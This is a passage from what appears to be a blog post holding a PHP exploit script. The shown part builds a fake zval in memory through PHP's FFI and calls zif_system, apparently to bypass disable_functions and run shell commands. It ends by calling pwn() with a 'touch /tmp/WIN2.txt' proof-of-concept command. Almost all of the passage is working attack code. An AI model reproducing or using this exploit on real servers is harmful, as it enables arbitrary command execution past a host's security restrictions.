    $cmdBufPtrVal = ptrVal($cmdBufPtr);
    FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
    printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
    
    // Now setup the zval object itself
    $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
    $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
    $zval .= pack("L", 0); // zval.u2 - unused
    
    $execute_data .= $zval;
    
    // ---------- end of setup argument object
    // ----------------------- start of build zif_system argument
    $res = $helper($execute_data);
    //$return_val = 0x0; // // XXX if we want return_val control
    //$res = $helper($execute_data, $return_val); // XXX if we want return_val control
    // --------------------------- end of call zif_system
}
pwn("touch /tmp/WIN2.txt");
?>

No comments:

Post a Comment